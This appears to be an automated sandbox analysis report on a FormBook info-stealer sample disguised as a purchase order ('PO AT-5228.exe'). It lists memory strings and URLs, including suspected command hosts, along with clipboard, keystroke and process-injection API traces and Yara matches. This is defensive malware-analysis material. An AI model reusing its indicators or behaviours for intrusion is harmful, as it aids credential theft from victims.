Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/canvi.js
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/jquery-1.9.1.min.js
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281124251637.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281610030481.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202308/28/202308281832298961.jpg
Source: BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111312107302.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111319395468.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111325300285.jpg
Source: BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111427368389.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111513122916.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111535192258.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111538232952.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111658373793.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111752281448.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111820293498.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/11/202310111832440129.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121017068870.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121022389060.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121103162503.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121111152889.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121124551331.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121130140569.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121401562198.jpg
Source: AtBroker.exe, 00000003.00000002.3527716602.0000000007340000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000003.00000002.3526286582.000000000576E000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003E9E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com/upload/202310/12/202310121445018007.jpg
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://parking.reg.ru/script/get_domain_data?domain_name=www.marketplacer.top&rand=
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://reg.ru
Source: AtBroker.exe, 00000003.00000002.3527808936.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: AtBroker.exe, 00000003.00000002.3526286582.0000000005DB6000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.00000000044E6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.kghjkx.xyz/usop/?rP=3GbX3siKa3fb4xoywiCreKN2vNnbaQz6Sbk2xDjabsziN9g8eu79RDllgCpODOeJxsPo
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/dedicated/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/domain/new/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_lan
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/hosting/?utm_source=www.marketplacer.top&utm_medium=parking&utm_campaign=s_land_h
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/sozdanie-saita/
Source: AtBroker.exe, 00000003.00000002.3526286582.000000000544A000.00000004.10000000.00040000.00000000.sdmp, BLUymyzgBTyhbo.exe, 00000005.00000002.3525741067.0000000003B7A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.reg.ru/whois/?check=&dname=www.marketplacer.top&reg_source=parking_auto

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BB6B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00BB6B0C

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BB6D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00BB6D07

Source: C:\Users\user\Desktop\PO AT-5228.exe

0_2_00BB6B0C

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA2B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00BA2B37

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BCF7FF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00BCF7FF

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.440000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3527019353.0000000005710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781295730.0000000002CD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524540674.0000000000790000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3525547305.0000000004210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781112261.0000000000440000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1781559228.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3525581336.0000000005270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3524288505.00000000004E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00B63D19
Source: PO AT-5228.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PO AT-5228.exe, 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_b01fa7d8-4
Source: PO AT-5228.exe, 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3f373521-2
Source: PO AT-5228.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e1caf27d-9
Source: PO AT-5228.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_c37cb31f-0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0046C9E3 NtClose,	1_2_0046C9E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72B60 NtClose,LdrInitializeThunk,	1_2_02E72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_02E72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E735C0 NtCreateMutant,LdrInitializeThunk,	1_2_02E735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E74340 NtSetContextThread,	1_2_02E74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E74650 NtSuspendThread,	1_2_02E74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72AF0 NtWriteFile,	1_2_02E72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72AD0 NtReadFile,	1_2_02E72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72AB0 NtWaitForSingleObject,	1_2_02E72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72BE0 NtQueryValueKey,	1_2_02E72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72BF0 NtAllocateVirtualMemory,	1_2_02E72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72BA0 NtEnumerateValueKey,	1_2_02E72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72B80 NtQueryInformationFile,	1_2_02E72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72EE0 NtQueueApcThread,	1_2_02E72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72EA0 NtAdjustPrivilegesToken,	1_2_02E72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72E80 NtReadVirtualMemory,	1_2_02E72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72E30 NtWriteVirtualMemory,	1_2_02E72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72FE0 NtCreateFile,	1_2_02E72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72FA0 NtQuerySection,	1_2_02E72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72FB0 NtResumeThread,	1_2_02E72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72F90 NtProtectVirtualMemory,	1_2_02E72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72F60 NtCreateProcessEx,	1_2_02E72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72F30 NtCreateSection,	1_2_02E72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72CF0 NtOpenProcess,	1_2_02E72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72CC0 NtQueryVirtualMemory,	1_2_02E72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72CA0 NtQueryInformationToken,	1_2_02E72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72C60 NtCreateKey,	1_2_02E72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72C70 NtFreeVirtualMemory,	1_2_02E72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72C00 NtQueryInformationProcess,	1_2_02E72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72DD0 NtDelayExecution,	1_2_02E72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72DB0 NtEnumerateKey,	1_2_02E72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72D30 NtUnmapViewOfSection,	1_2_02E72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72D00 NtSetInformationFile,	1_2_02E72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E72D10 NtMapViewOfSection,	1_2_02E72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73090 NtSetValueKey,	1_2_02E73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73010 NtOpenDirectoryObject,	1_2_02E73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E739B0 NtGetContextThread,	1_2_02E739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73D70 NtOpenThread,	1_2_02E73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E73D10 NtOpenProcessToken,	1_2_02E73D10
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F4650 NtSuspendThread,LdrInitializeThunk,	3_2_045F4650
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F4340 NtSetContextThread,LdrInitializeThunk,	3_2_045F4340
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_045F2C70
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2C60 NtCreateKey,LdrInitializeThunk,	3_2_045F2C60
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_045F2CA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_045F2D10
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2D30 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_045F2D30
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2DD0 NtDelayExecution,LdrInitializeThunk,	3_2_045F2DD0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_045F2DF0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2EE0 NtQueueApcThread,LdrInitializeThunk,	3_2_045F2EE0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2E80 NtReadVirtualMemory,LdrInitializeThunk,	3_2_045F2E80
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2F30 NtCreateSection,LdrInitializeThunk,	3_2_045F2F30
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2FE0 NtCreateFile,LdrInitializeThunk,	3_2_045F2FE0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2FB0 NtResumeThread,LdrInitializeThunk,	3_2_045F2FB0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2AD0 NtReadFile,LdrInitializeThunk,	3_2_045F2AD0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2AF0 NtWriteFile,LdrInitializeThunk,	3_2_045F2AF0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2B60 NtClose,LdrInitializeThunk,	3_2_045F2B60
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_045F2BF0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2BE0 NtQueryValueKey,LdrInitializeThunk,	3_2_045F2BE0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2BA0 NtEnumerateValueKey,LdrInitializeThunk,	3_2_045F2BA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F35C0 NtCreateMutant,LdrInitializeThunk,	3_2_045F35C0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F39B0 NtGetContextThread,LdrInitializeThunk,	3_2_045F39B0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2C00 NtQueryInformationProcess,	3_2_045F2C00
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2CC0 NtQueryVirtualMemory,	3_2_045F2CC0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2CF0 NtOpenProcess,	3_2_045F2CF0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2D00 NtSetInformationFile,	3_2_045F2D00
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2DB0 NtEnumerateKey,	3_2_045F2DB0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2E30 NtWriteVirtualMemory,	3_2_045F2E30
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2EA0 NtAdjustPrivilegesToken,	3_2_045F2EA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2F60 NtCreateProcessEx,	3_2_045F2F60
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2F90 NtProtectVirtualMemory,	3_2_045F2F90
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2FA0 NtQuerySection,	3_2_045F2FA0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2AB0 NtWaitForSingleObject,	3_2_045F2AB0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F2B80 NtQueryInformationFile,	3_2_045F2B80
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F3010 NtOpenDirectoryObject,	3_2_045F3010
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F3090 NtSetValueKey,	3_2_045F3090
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F3D70 NtOpenThread,	3_2_045F3D70
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_045F3D10 NtOpenProcessToken,	3_2_045F3D10
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_00509350 NtCreateFile,	3_2_00509350
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_005094C0 NtReadFile,	3_2_005094C0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_005095B0 NtDeleteFile,	3_2_005095B0
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_00509650 NtClose,	3_2_00509650
Source: C:\Windows\SysWOW64\AtBroker.exe	Code function: 3_2_005097B0 NtAllocateVirtualMemory,	3_2_005097B0

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA6685: CreateFileW,DeviceIoControl,CloseHandle,

0_2_00BA6685

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00B9ACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00B9ACC5

Source: C:\Users\user\Desktop\PO AT-5228.exe

Code function: 0_2_00BA79D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00BA79D3

Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B8B043	0_2_00B8B043
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B73200	0_2_00B73200
Source: C:\Users\user\Desktop\PO AT-5228.exe	Code function: 0_2_00B73B70	0_2_00B73B70
